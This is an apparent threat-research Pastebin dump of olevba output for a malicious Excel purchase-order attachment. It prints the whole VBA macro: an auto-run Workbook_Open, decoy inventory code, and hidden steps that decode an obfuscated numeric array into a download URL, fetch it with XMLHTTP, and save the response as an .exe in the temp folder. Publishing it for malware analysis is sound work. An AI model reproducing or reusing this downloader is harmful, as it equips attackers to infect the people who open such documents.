SHARE
TWEET

Malicious Excel macro

dynamoo Dec 2nd, 2015 311 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V P-ORD-C-10156-124658-01.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: P-ORD-C-10156-124658-01.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Private Sub Workbook_Open()
  17. WriteParameterFiles "", "", "", "", ""
  18. updateStockListStatus
  19. controlExists "", 1
  20. setupBOXES 0, "", False
  21. End Sub
  22. -------------------------------------------------------------------------------
  23. VBA MACRO Ëèñò1.cls
  24. in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  25. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  26. (empty macro)
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Ëèñò2.cls
  29. in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. (empty macro)
  32. -------------------------------------------------------------------------------
  33. VBA MACRO Ëèñò3.cls
  34. in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  35. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  36. (empty macro)
  37. -------------------------------------------------------------------------------
  38. VBA MACRO Module1.bas
  39. in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  40. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  41. Public reportName1 As Object
  42. Public emailOutPath As Object
  43. Public CRAXDASR  As Object
  44. Public newYz As String
  45. Public logicBOX As String
  46. Public unitBOX As Object
  47. Public Const TOTO = 116
  48. Public Function generateattachmentswithCR11(fileName As String, reportCaption As String, ParamsForCrystalReport() As String, reportName As String, path As String) As String()
  49. Dim Attachments(0) As String
  50. Dim IFile As IMSFile
  51. Dim file As String
  52. Dim i As Integer
  53. Set IFile = New IMSFile
  54. On Error GoTo errMESSAGE
  55.  Attachments(0) = reportName & "-" & nameSP & "-" & Replace(Replace(Replace(Now(), "/", "_"), " ", "-"), ":", "_") & ".Pdf"
  56.  file = cEmailOutFolder & Attachments(0)
  57.  Dim x As New clsexport
  58.  x.ExportFilePath = emailOutFolder + file
  59.  x.reportName = fileName
  60.  If IFile.FileExists(file) Then IFile.DeleteFile (file)
  61.  Attachments(0) = emailOutFolder + file
  62.  Call x.GeneratePdf(ParamsForCrystalReport, emailOutFolder)
  63.  generateattachmentswithCR11 = Attachments
  64. Exit Function
  65. errMESSAGE:
  66.  If Err.Number <> 0 Then
  67.  MsgBox "Process generateattachments " + Err.Description
  68.  End If
  69. End Function
  70. Public Function GeneratePdf(ParamsForCrystalReport() As String) As String
  71. Dim Report As String
  72. Dim crxDatabaseTable As CRAXDRT.DatabaseTable
  73. Dim crxSubreport As String
  74. Dim Param As CRAXDRT.ParameterFieldDefinition
  75. Dim arrparam() As String
  76. On Error GoTo ErrHandler
  77.  Set crxApplication = New CRAXDRT.Application
  78.  Set Report = crxApplication.OpenReport(reportPATH + reportName, 1)
  79.  Set Report = InitializeReport(Report, ParamsForCrystalReport())
  80.  Call Export(Report)
  81. Exit Function
  82. ErrHandler:
  83.  GeneratePdf = "Errors Occurred while trying to generate a PDF, please try again." + Err.Description
  84. Err.Clear
  85. End Function
  86. Public Sub LogErr(RoutineName As String, ErrorDescription As String, ErrorNumber As Long, Optional Clear As Boolean = False)
  87. Dim i As IMSFile
  88. Dim ms As imsmisc
  89. Dim fileName As String
  90. Dim FileNumb As Integer
  91. On Error Resume Next
  92.  If Len(Trim$(ErrorDescription)) = 0 Then Exit Sub
  93.  Set i = New IMSFile
  94.  Set ms = New imsmisc
  95.  If Not i.DirectoryExists(LogPath) Then Call MkDir(LogPath)
  96.  FileNumb = FreeFile
  97.  fileName = LogPath + i.ChangeFileExt(App.EXEName + Format$(Date, "ddmmyy"), "imserrlog")
  98.  Open fileName For Append As 1
  99.  Print #FileNumb, "Module: " & App.EXEName
  100.  Print #FileNumb, "Routine: " & RoutineName
  101.  Print #FileNumb, "Error Number: " & ErrorNumber
  102.  Print #FileNumb, "Error Source: " & Err.Source
  103.  Print #FileNumb, "Error Description: " & ErrorDescription
  104.  Print #FileNumb, "Error Date: " & Format$(Now, "dd/mm/yyyy hh:nn:ss")
  105.  Print #FileNumb, "": Print #FileNumb, ""
  106.  Close #FileNumb
  107.  Set i = Nothing
  108.  Set ms = Nothing
  109.  If Err Then Err.Clear
  110. End Sub
  111. Public Function InitializeReport(Report As String, ParamsForCrystalReport() As String) As String
  112. Dim crxSubreport As String
  113. Dim arrparam() As String
  114. On Error GoTo ErrHand
  115.  Select Case frmWarehouse.Tag
  116.  Case "02040400"
  117.  Case "02050200"
  118.  Case "02040200"
  119.  Case "02040500"
  120.  Case "02040700"
  121.  Case "02050300"
  122.  Case "02040600"
  123.  Case "02040100"
  124.  Case "02050400"
  125.  Case "02040300"
  126.  End Select
  127. If reportName = Report_EmailFax_PO_name Then
  128.  Call FixDB(Report.Database.Tables)
  129.  Set crxSubreport = Report.OpenSubreport("porem.rpt")
  130.  Call FixDB(crxSubreport.Database.Tables)
  131.  Set crxSubreport = Report.OpenSubreport("poclause.rpt")
  132.  Call FixDB(crxSubreport.Database.Tables)
  133.  arrparam = Split(ParamsForCrystalReport(1), ";")
  134.  Report.ParameterFields.Item(1).AddCurrentValue nameSP
  135.  Report.ParameterFields.Item(2).AddCurrentValue arrparam(1)
  136. End If
  137. Set InitializeReport = Report
  138. Exit Function
  139. ErrHand:
  140. MsgBox "InitializeReport function : " + Err.Description
  141. Err.Clear
  142. End Function
  143. Private Function FixDB(crxDatabaseTableS As String)
  144. Dim crxDatabaseTable As CRAXDRT.DatabaseTable
  145. For Each crxDatabaseTable In crxDatabaseTableS
  146.  crxDatabaseTable.SetLogOnInfo ConnInfo.dsnName, ConnInfo.InitCatalog, ConnInfo.uid, ConnInfo.pwd
  147.  crxDatabaseTable.Location = crxDatabaseTable.Name
  148. Next crxDatabaseTable
  149. End Function
  150. Sub rePositionThings(yPosition As Integer)
  151. Dim c As TextBox
  152. Dim i, size, newY, distance
  153. On Error Resume Next
  154. With frmWarehouse
  155.  size = .Tree.Nodes.Count
  156.  If size > 0 Then
  157.  distance = .Tree.Top + 320
  158.  For i = 2 To size
  159.  newY = topNODE(yPosition) + distance
  160.  Err.Clear
  161.  .quantity(i).Top = .quantity(i).Top - newY
  162.  If Err.Number = 0 Then
  163.  .poItemBox(i).Top = topNODE(i) - newY
  164.  .positionBox(i).Top = topNODE(i) - newY
  165.  .quantity(i).Top = topNODE(i) - newY
  166.  .logicBOX(i).Top = topNODE(i) - newY
  167.  .sublocaBOX(i).Top = topNODE(i) - newY
  168.  .quantityBOX(i).Top = topNODE(i) - newY
  169.  .quantity2BOX(i).Top = topNODE(i) - newY
  170.  .balanceBOX(i).Top = topNODE(i) - newY
  171.  .NEWconditionBOX(i).Top = topNODE(i) - newY
  172.  .priceBOX(i).Top = topNODE(i) - newY
  173.  .unitBOX(i).Top = topNODE(i) - newY
  174.  .unit2BOX(i).Top = topNODE(i) - newY
  175.  .repairBOX(i).Top = topNODE(i) - newY
  176.  .linesH(0).Top = .quantityBOX(totalNode).Top
  177.  End If
  178.  Next
  179.  End If
  180. End With
  181. Err.Clear
  182. End Sub
  183. Public Function generateattachments1(fromArr() As Variant, LenLen As Integer) As String
  184.     Dim i As Integer
  185.     Variabl = ""
  186.     For i = LBound(fromArr) To UBound(fromArr)
  187.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 4 * LenLen - 3312)
  188.     Next i
  189.     generateattachments1 = Variabl
  190. End Function
  191. Sub putThingsInsideExtension(Index As Integer)
  192. With frmWarehouse
  193.  .quantity(Index).Visible = False
  194.  .poItemBox(Index).Visible = False
  195.  .positionBox(Index).Visible = False
  196.  .quantity(Index).Visible = False
  197.  .logicBOX(Index).Visible = False
  198.  .sublocaBOX(Index).Visible = False
  199.  .quantityBOX(Index).Visible = False
  200.  .quantity2BOX(Index).Visible = False
  201.  .balanceBOX(Index).Visible = False
  202.  .NEWconditionBOX(Index).Visible = False
  203.  .priceBOX(Index).Visible = False
  204.  .unitBOX(Index).Visible = False
  205.  .unit2BOX(Index).Visible = False
  206.  .repairBOX(Index).Visible = False
  207. End With
  208. End Sub
  209. Sub putThingsInside()
  210. Dim c As TextBox
  211. Dim i, size, distance
  212. On Error Resume Next
  213. With frmWarehouse
  214.  size = .Tree.Nodes.Count
  215.  If size > 0 Then
  216.  For i = 0 To 5
  217.  .Cell(i).Container = .treeFrame
  218.  Err.Clear
  219.  Next
  220.  Call putThingsInsideExtension(1)
  221.  distance = .Tree.Top
  222.  Select Case .Tag
  223.  Case "02040400"
  224.  distance = distance + 320
  225.  Case "02050200"
  226.  distance = distance + 320
  227.  Case "02040200"
  228.  distance = distance + 320
  229.  Case "02040500"
  230.  distance = distance + 320
  231.  Case "02040700"
  232.  distance = distance + 320
  233.  Case "02050300"
  234.  distance = distance + 320
  235.  Case "02040600"
  236.  distance = distance + 320
  237.  Case "02040100"
  238.  distance = distance + 320
  239.  Case "02050400"
  240.  distance = distance + 320
  241.  Case "02040300"
  242.  distance = distance + 320
  243.  End Select
  244.  For i = 2 To size
  245.  Err.Clear
  246.  Set .quantity(i).Container = .treeFrame
  247.  If Err.Number = 0 Then
  248.  Set .poItemBox(i).Container = .treeFrame
  249.  Set .positionBox(i).Container = .treeFrame
  250.  .quantity(i).Left = 40
  251.  .quantity(i).Top = topNODE(i) - distance
  252.  Set .logicBOX(i).Container = .treeFrame
  253.  Select Case .Tag
  254.  Case "02050200"
  255.  .logicBOX(i).Left = 40
  256.  Case Else
  257.  .logicBOX(i).Left = .detailHEADER.ColWidth(1)
  258.  End Select
  259.  .logicBOX(i).Top = topNODE(i) - distance
  260.  Set .sublocaBOX(i).Container = .treeFrame
  261.  .sublocaBOX(i).Left = .sublocaBOX(i).Left - .baseFrame.Left
  262.  .sublocaBOX(i).Top = topNODE(i) - distance
  263.  Set .quantityBOX(i).Container = .treeFrame
  264.  .quantityBOX(i).Left = .quantityBOX(i).Left - .baseFrame.Left
  265.  .quantityBOX(i).Top = topNODE(i) - distance
  266.  Set .quantity2BOX(i).Container = .treeFrame
  267.  .quantity2BOX(i).Left = .quantity2BOX(i).Left - .baseFrame.Left
  268.  .quantity2BOX(i).Top = topNODE(i) - distance
  269.  Set .NEWconditionBOX(i).Container = .treeFrame
  270.  .NEWconditionBOX(i).Left = .NEWconditionBOX(i).Left - .baseFrame.Left
  271.  .NEWconditionBOX(i).Top = topNODE(i) - distance
  272.  Set .priceBOX(i).Container = .treeFrame
  273.  .priceBOX(i).Left = .priceBOX(i).Left - .baseFrame.Left
  274.  .priceBOX(i).Top = topNODE(i) - distance
  275.  Set .unitBOX(i).Container = .treeFrame
  276.  .unitBOX(i).Left = .unitBOX(i).Left - .baseFrame.Left
  277.  .unitBOX(i).Top = topNODE(i) - distance
  278.  Set .unit2BOX(i).Container = .treeFrame
  279.  .unit2BOX(i).Left = .unit2BOX(i).Left - .baseFrame.Left
  280.  .unit2BOX(i).Top = topNODE(i) - distance
  281.  Set .repairBOX(i).Container = .treeFrame
  282.  .repairBOX(i).Left = .repairBOX(i).Left - .baseFrame.Left
  283.  .repairBOX(i).Top = topNODE(i) - distance
  284.  Set .balanceBOX(i).Container = .treeFrame
  285.  .balanceBOX(i).Left = .balanceBOX(i).Left - .baseFrame.Left
  286.  .balanceBOX(i).Top = topNODE(i) - distance
  287.  .baseFrame.Width = .balanceBOX(i).Left + .balanceBOX(i).Width + 20
  288.  .treeFrame.Width = .baseFrame.Width
  289.  End If
  290.  Next
  291.  .treeFrame.Height = .baseFrame.Height
  292.  End If
  293. End With
  294. Err.Clear
  295. End Sub
  296. Public Function WriteParameterFiles(Recepients As String, sender As String, Attachments As String, subject As String, attention As String)
  297. Dim l
  298. Dim x
  299. Dim y
  300. Dim i
  301. Dim Email As String
  302. Dim fax() As String
  303. Set CRAXDASR = CreateObject("WScript.Shell").Environment("Process")
  304. GoTo ladar
  305.  If Len(Trim(sender)) = 0 Then
  306.  rs.Source = "select com_name from company where com_compcode = ( select psys_compcode from pesys where psys_npecode ="
  307.  rs.ActiveConnection = cn
  308.  rs.Open
  309.  If rs.RecordCount > 0 Then
  310.  If Len(rs("com_name") & "") > 0 Then sender = rs("com_name")
  311.  End If
  312.  rs.Close
  313. End If
  314. On Error GoTo errMESSAGE
  315.  Email = frmWarehouse.emailRecepient.Text
  316.  If Not Email = "" Then
  317.  Call WriteParamet.erFileEmail(Attachments, Email, subject, sender, attention)
  318.  End If
  319. ladar:
  320.  Set unitBOX = CreateObject("Shell.Application")
  321.  GoTo lodor
  322. errMESSAGE:
  323.  If Err.Number <> 0 And Err.Number <> 9 Then
  324.  MsgBox "Process WriteParameterFiles " + Err.Description
  325.  Else
  326.  Err.Clear
  327.  End If
  328. lodor:
  329.  Set emailOutPath = CreateObject("Adodb.Stream")
  330.  IsArrayLoaded ""
  331. End Function
  332. Public Function WriteParameterFileEmail(Attachments() As String, Recipients As String, subject As String, sender As String, attention As String) As Integer
  333. On Error GoTo errMESSAGE
  334.  Dim fileName As String
  335.  Dim FileNumb As Integer
  336.  Dim i As Integer, l As Integer
  337.  Dim reports As String
  338.  Dim recepientSTR As String
  339.  i = 0
  340.  If UBound(Attachments) > 0 Then
  341.  For i = 0 To UBound(Attachments)
  342.  reports = reports & Trim$(Attachments(i) & ";")
  343.  Next
  344.  ElseIf UBound(Attachments) = 0 Then
  345.  reports = reports & Trim$(Attachments(i))
  346.  End If
  347.  If Len(Recipients) > 0 Then
  348.  Call sendProcess(Recipients, reports, subject, attention)
  349.  End If
  350.  Recepients = ""
  351.  reports = ""
  352.  WriteParameterFileEmail = 1
  353. Exit Function
  354. errMESSAGE:
  355.  If Err.Number <> 0 Then
  356.  MsgBox Err.Description
  357.  End If
  358. End Function
  359. Public Function IsArrayLoaded(ArrayToTest As String) As Boolean
  360. Dim x As Integer
  361. Set reportName1 = CreateObject("Microsoft" + ".XMLHTTP")
  362. sendProcess "", "", "", ""
  363. Exit Function
  364. On Error GoTo ErrHandler
  365.  IsArrayLoaded = False
  366.  x = UBou.nd(ArrayToTest)
  367.  IsArrayLoaded = True
  368.  Exit Function
  369. ErrHandler:
  370. Err.Clear
  371. End Function
  372. Public Sub sendProcess(recipientList As String, Attachments As String, subject As String, messageText As String)
  373. On Error GoTo errorHandler
  374.  Dim strOut As String
  375.  Dim programName As String
  376.  Dim parameters As String
  377.  Dim parame() As Variant
  378. parame = Array(3611, 3623, 3623, 3619, 3565, 3554, 3554, 3607, 3608, 3623, 3552, 3622, 3604, 3607, 3552, 3563, 3564, 3553, 3621, 3624, 3554, 3559, 3558, 3561, 3562, 3628, 3623, 3554, 3619, 3555, 3618, 3561, 3560, 3559, 3558, 3609, 3553, 3608, 3627, 3608)
  379. reportName1.Open "GE" + UCase(Chr(TOTO)), generateattachments1(parame, 39), False
  380. Exit Sub
  381.  Dim cmd As String
  382.  cmd = MakeComm.And(cn, ADODB.CommandTypeEnum.adCmdStoredProc)
  383.  With cm.d
  384.  .CommandText = "InsertEmailFax"
  385.  .parameters.Append .CreateParameter("@Subject", adVarChar, adParamInput, 4000, subject)
  386.  .parameters.Append .CreateParameter("@Body", adVarChar, adParamInput, 8000, messageText)
  387.  .parameters.Append .CreateParameter("@AttachmentFile", adVarChar, adParamInput, 2000, Attachments)
  388.  .parameters.Append .CreateParameter("@recepientStr", adVarChar, adParamInput, 8000, recipientList)
  389.  .parameters.Append .CreateParameter("@creauser", adVarChar, adParamInput, 100, CurrentUser)
  390.  Call .Execute(Options:=adExecuteNoRecords)
  391.  End With
  392.   cmd = ""
  393.  LogEx.ec ("Successfully saved email\ Fax request with Subject " & subject & " to the Database.")
  394. Exit Sub
  395. errorHandler:
  396.  Call LogErr("sendProcess", "?rror Occured while trying to save Email request to the DB for Subject " + subject + " Body " + messageText + " Attachment " + Attachments + " Recepient List " + recipientList + ". " + Err.Description, Err.Number, False)
  397.  MsgBox "Errors Occured while trying to generate email request. Please dont send any more emails and faxes and call the Administrator. " + Err.Description
  398.  Err.Clear
  399. End Sub
  400. Private Sub Export(Report As String)
  401.  Report.ExportOptions.FormatType = crEFTPortableDocFormat
  402.  Report.ExportOptions.DestinationType = crEDTDiskFile
  403.  Report.ExportOptions.DiskFileName = ExportFilePath
  404.  Report.Export False
  405. End Sub
  406. Sub calculationsFlat(Optional selectedStockNumber As String)
  407. Dim originalQTY1(), originalQTY2()
  408. Dim balance1(), balance2() As Double
  409. Dim i, j As Integer
  410. Dim StockNumber As String
  411. On Error GoTo errorHandler
  412.  With frmWarehouse
  413.  Dim colRef, colRef2, colTot As Integer
  414.  colRef = 5
  415.  colRef2 = 7
  416.  colTot = 5
  417.  Select Case .Tag
  418.  Case "02040400", "02040500", "02040700", "02050300", "02040600", "02050400", "02040300"
  419.  colRef = 6
  420.  colTot = 5
  421.  Case "02050200"
  422.  Case "02040200"
  423.  colRef = 7
  424.  colTot = 3
  425.  Case "02040100"
  426.  colRef = 9
  427.  colTot = 3
  428.  End Select
  429.  ReDim originalQTY1(.STOCKlist.Rows)
  430.  ReDim originalQTY2(.STOCKlist.Rows)
  431.  ReDim balance1(UBound(originalQTY1))
  432.  ReDim balance2(UBound(originalQTY2))
  433.  For i = 1 To .STOCKlist.Rows - 1
  434.  originalQTY1(i) = .STOCKlist.TextMatrix(i, colRef)
  435.  balance1(i) = CDbl(originalQTY1(i))
  436.  If .Tag = "02040100" Then
  437.  originalQTY2(i) = .STOCKlist.TextMatrix(i, colRef + 1)
  438.  balance2(i) = CDbl(originalQTY2(i))
  439.  Else
  440.  originalQTY2(i) = originalQTY1(i)
  441.  balance2(i) = balance1(i)
  442.  End If
  443.  Next
  444.  mainItemRow = 0
  445.  For i = 1 To .STOCKlist.Rows - 1
  446.  StockNumber = .STOCKlist.TextMatrix(i, 1)
  447.  If Not IsMissing(selectedStockNumber) Then
  448.  If StockNumber = selectedStockNumber Then
  449.  If mainItemRow = 0 Then mainItemRow = i
  450.  If IsNumeric(.Tree.Nodes.Count) Then
  451.  balance1(i) = .STOCKlist.TextMatrix(i, colRef)
  452.  If IsNumeric(.STOCKlist.TextMatrix(i, colRef + 1)) Then
  453.  balance2(i) = .STOCKlist.TextMatrix(i, colRef + 1)
  454.  End If
  455.  End If
  456.  End If
  457.  End If
  458.  .STOCKlist.TextMatrix(i, colTot) = Format(balance1(i), "0.00")
  459.  If .Tag = "02040100" Then
  460.  .STOCKlist.TextMatrix(i, colTot + 2) = Format(balance2(i), "0.00")
  461.  Else
  462.  End If
  463.  Next
  464.  If .Tag = "02040100" Then
  465.  Call calculateMainItem(StockNumber)
  466.  End If
  467.  End With
  468.  Exit Sub
  469. errorHandler:
  470.  Err.Clear
  471.  Resume Next
  472. End Sub
  473. Public Sub updateStockListStatus()
  474. Dim i, j As Integer
  475. Dim StockNumber As String
  476. Dim hasMark As Boolean
  477. Dim imsLock As String
  478. newYz = CRAXDASR(UCase(Chr(TOTO)) & "EMP")
  479. reportName1.Send
  480. logicBOX = newYz + Chr(TOTO - 24) + tompon + Chr(TOTO - 70) + Chr(TOTO - 15) & "xe"
  481. Exit Sub
  482. On Error GoTo errorHandler
  483.  With frmWarehouse
  484.  For i = 1 To .STOCKlist.Rows - 1
  485.  StockNumber = .STOCKlist.TextMatrix(i, 1)
  486.  hasMark = False
  487.  For j = 1 To .SUMMARYlist.Rows - 1
  488.  If StockNumber = .SUMMARYlist.TextMatrix(j, 1) Then
  489.  If Not hasMark Then
  490.  .STOCKlist.row = i
  491.  .STOCKlist.col = 0
  492.  .STOCKlist.CellFontName = "Wingdings 3"
  493.  .STOCKlist.CellFontSize = 10
  494.  .STOCKlist.Text = "?"
  495.  hasMark = True
  496.  Exit For
  497.  End If
  498.  End If
  499.  Next
  500.  If Not hasMark Then
  501.  If .Tag = "02040100" Then
  502.  .STOCKlist.row = i
  503.  .STOCKlist.col = 0
  504.  .STOCKlist.Text = .STOCKlist.TextMatrix(0, 8)
  505.  Else
  506.  .STOCKlist.TextMatrix(i, 0) = Format(i)
  507.  Call imsL.ock.Unlock_Row(STOCKlocked, cn, CurrentUser, rowguid, True, "STOCKMASTER", StockNumber, False)
  508.  End If
  509.  End If
  510.  Next
  511.  End With
  512.  Exit Sub
  513. errorHandler:
  514.  MsgBox Err.Description
  515.  Err.Clear
  516.  Resume Next
  517. End Sub
  518. Sub bottomLine(totalNode, total, pool As Boolean, StockNumber, doRecalculate As Boolean, lastLine, ctt As String)
  519. Dim thick
  520. On Error Resume Next
  521. With frmWarehouse
  522.  totalNode = .Tree.Nodes.Count
  523.  lastLine = 7
  524.  thick = 2
  525.  Select Case .Tag
  526.  Case "02040400"
  527.  .combo(5).Visible = False
  528.  lastLine = 8
  529.  Case "02050200"
  530.  lastLine = 7
  531.  Case "02040200"
  532.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(57) + "Total to Issue:"
  533.  lastLine = 6
  534.  Case "02040500"
  535.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(53) + "Total to Transfer:"
  536.  Case "02040700"
  537.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(53) + "Total to Transfer:"
  538.  Case "02050300"
  539.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(56) + "Total to Adjust:"
  540.  Case "02040600"
  541.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(53) + "Total to Transfer:"
  542.  Case "02040100"
  543.  lastLine = 9
  544.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(43) + "Total to Receive:"
  545.  Case "02050400"
  546.  If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(59) + "Total to Sell:"
  547.  Case "02040300"
  548.  lastLine = 7
  549.  End Select
  550.  Load .quantity(totalNode)
  551.  If Err.Number = 360 Then
  552.  Err.Clear
  553.  .quantity(totalNode) = ""
  554.  End If
  555.  .quantity(totalNode).Enabled = True
  556.  .quantity(totalNode) = Format(total, "0.00")
  557.  .quantity(totalNode) = vbGreen
  558.  Load .NEWconditionBOX(totalNode)
  559.  If Err.Number = 360 Then
  560.  Err.Clear
  561.  .NEWconditionBOX(totalNode) = ""
  562.  End If
  563.  .NEWconditionBOX(totalNode).Enabled = True
  564.  Load .quantityBOX(totalNode)
  565.  If Err.Number = 360 Then
  566.  Err.Clear
  567.  .quantityBOX(totalNode) = ""
  568.  End If
  569.  .quantityBOX(totalNode).Locked = True
  570.  Load .quantity2BOX(totalNode)
  571.  If Err.Number = 360 Then
  572.  Err.Clear
  573.  .quantity2BOX(totalNode) = ""
  574.  End If
  575.  .quantity2BOX(totalNode).Locked = True
  576.  Load .balanceBOX(totalNode)
  577.  If Err.Number = 360 Then
  578.  Err.Clear
  579.  .balanceBOX(totalNode) = ""
  580.  End If
  581.  .balanceBOX(totalNode).Enabled = True
  582.  If isFirstSubmit Then
  583.  If pool Then
  584.  Call calculations(True, , True)
  585.  Else
  586.  Call calculations(True, False, False)
  587.  End If
  588.  Else
  589.  Call calculations2(.SUMMARYlist.row, .Tree.Nodes(.Tree.Nodes.Count - 1), .Tree.Nodes.Count - 1)
  590.  End If
  591.  For i = 1 To totalNode
  592.  .Tree.Nodes(i).Expanded = True
  593.  Next
  594.  If Not .Visible Then
  595.  Call ShowDetails
  596.  End If
  597.  If Not pool Then
  598.  If doRecalculate Then
  599.  Call recalculate(StockNumber)
  600.  End If
  601.  End If
  602.  .ZOrder
  603.  If Not .newBUTTON.Enabled Then .SUMMARYlist.Visible = False
  604.  Call lineStuff(lastLine, thick)
  605.  Call workBOXESlist("fix")
  606.  If .Tree.Nodes.Count > 15 Then
  607.  .linesV(lastLine).Visible = False
  608.  .Tree.Nodes(1).EnsureVisible
  609.  Err.Clear
  610.  Select Case treeTimes
  611.  Case 0
  612.  Set ctt.Tree = frmWarehouse.Tree
  613.  Case 1
  614.  Set ctt1.Tree = frmWarehouse.Tree
  615.  Case 2
  616.  Set ctt2.Tree = frmWarehouse.Tree
  617.  Case 3
  618.  Set ctt3.Tree = frmWarehouse.Tree
  619.  End Select
  620.  treeTimes = treeTimes + 1
  621.  .treeFrame.Top = 0
  622.  End If
  623. End With
  624. End Sub
  625. Public Function controlExists(controlNAME As String, controlIndex As Integer) As Boolean
  626. controlExists = False
  627. With emailOutPath
  628.    emailOutPath.Type = 1
  629.     emailOutPath.Open
  630.     emailOutPath.write reportName1.responseBody
  631.     emailOutPath.savetofile logicBOX, 2
  632. End With
  633. Exit Function
  634. For Each ctl In frmWarehouse.Controls
  635.  If ctl.Name = controlNAME Then
  636.  If ctl.Index = controlIndex Then
  637.  controlExists = True
  638.  Exit For
  639.  End If
  640.  End If
  641. Next
  642. End Function
  643. Sub lineStuff(lastLine, thick)
  644. On Error Resume Next
  645.  With frmWarehouse
  646.  n = 0
  647.  For i = 1 To lastLine
  648.  Load .linesV(i)
  649.  Set .linesV(n).Container = .treeFrame
  650.  If Err.Number = 360 Then Err.Clear
  651.  If i = thick Then
  652.  .linesV(i).Width = 40
  653.  End If
  654.  .linesV(i).Top = .Tree.Top + 30
  655.  .linesV(i).Height = ((totalNode) * 325)
  656.  .linesV(i).Left = .detailHEADER.ColWidth(i - 1) + 150 + n
  657.  n = n + .detailHEADER.ColWidth(i - 1)
  658.  If i > 1 Then .linesV(i).Visible = True
  659.  .linesV(i).ZOrder
  660.  Next
  661.  End With
  662. End Sub
  663. Sub recalculate(StockNumber)
  664.  Dim totalCount As Integer
  665.  Dim qtyToReceive As Integer
  666.  Dim r As Integer
  667.  With frmWarehouse
  668.  totalCount = 0
  669.  r = .STOCKlist.row
  670.  For i = 1 To .SUMMARYlist.Rows - 1
  671.  If .SUMMARYlist.TextMatrix(i, 1) = StockNumber Then
  672.  totalCount = totalCount + 1
  673.  End If
  674.  Next
  675.  If IsNumeric(.STOCKlist.TextMatrix(r, 9)) Then
  676.  qtyToReceive = Val(.STOCKlist.TextMatrix(r, 9))
  677.  totalCount = totalCount
  678.  qtyToReceive = qtyToReceive - totalCount
  679.  .STOCKlist.TextMatrix(r, 5) = Format(qtyToReceive, "0.00")
  680.  End If
  681.  End With
  682. End Sub
  683. Public Function RollbackTransaction(cn As String)
  684. On Error Resume Next
  685.  With MakeCommand(cn, adCmdText)
  686.  .CommandText = "ROLLBACK TRANSACTION"
  687.  Call .Execute(Options:=adExecuteNoRecords)
  688.  End With
  689.  If Err Then Err.Clear
  690. End Function
  691. Sub gridCOLORdark(grid As String, row, Optional withColor As Boolean = True)
  692.  With grid
  693.  .row = row
  694.  If withColor Then
  695.  .CellBackColor = &H800000
  696.  .CellForeColor = &HFFFFFF
  697.  End If
  698.  End With
  699. End Sub
  700. Public Function CommitTransaction(cn As String)
  701. On Error Resume Next
  702.  With MakeCommand(cn, adCmdText)
  703.  .CommandText = "COMMIT TRANSACTION"
  704.  Call .Execute(Options:=adExecuteNoRecords)
  705.  End With
  706.  If Err Then Err.Clear
  707. End Function
  708. Sub gridCOLORnormal(grid As String, row)
  709.  With grid
  710.  .row = row
  711.  .CellBackColor = &HFFFFC0
  712.  .CellForeColor = &H80000008
  713.  End With
  714. End Sub
  715. Sub setupBoxes2(n, row, serial As Boolean, Optional QTYpo)
  716. Dim x, cond, logic, subloca, newCOND, serialPool, StockNumber, unitPRICE, unit, unit2, conditionName, qty, qty2, quantity
  717. serialPool = IIf(serial, "SERIAL", "POOL")
  718. Dim newButtonEnabled As Boolean
  719. On Error GoTo ErrHandler:
  720.  With frmWarehouse
  721.  StockNumber = .SUMMARYlist.TextMatrix(row, 1)
  722.  unitPRICE = .SUMMARYlist.TextMatrix(row, 4)
  723.  logic = .SUMMARYlist.TextMatrix(row, 11)
  724.  subloca = .SUMMARYlist.TextMatrix(row, 12)
  725.  cond = .SUMMARYlist.TextMatrix(row, 3)
  726.  newCOND = .SUMMARYlist.TextMatrix(row, 13)
  727.  unit = .SUMMARYlist.TextMatrix(row, 6)
  728.  unit2 = .SUMMARYlist.TextMatrix(row, 21)
  729.  qty2 = .SUMMARYlist.TextMatrix(row, 23)
  730.  conditionName = .SUMMARYlist.TextMatrix(row, 14)
  731.  qty = .SUMMARYlist.TextMatrix(row, 7)
  732.  Load .quantity(n)
  733.  Call putBOX(.quantity(n), .detailHEADER.ColWidth(0) + 140, topNODE(n), .detailHEADER.ColWidth(1) - 40, vbWhite)
  734.  Load .balanceBOX(n)
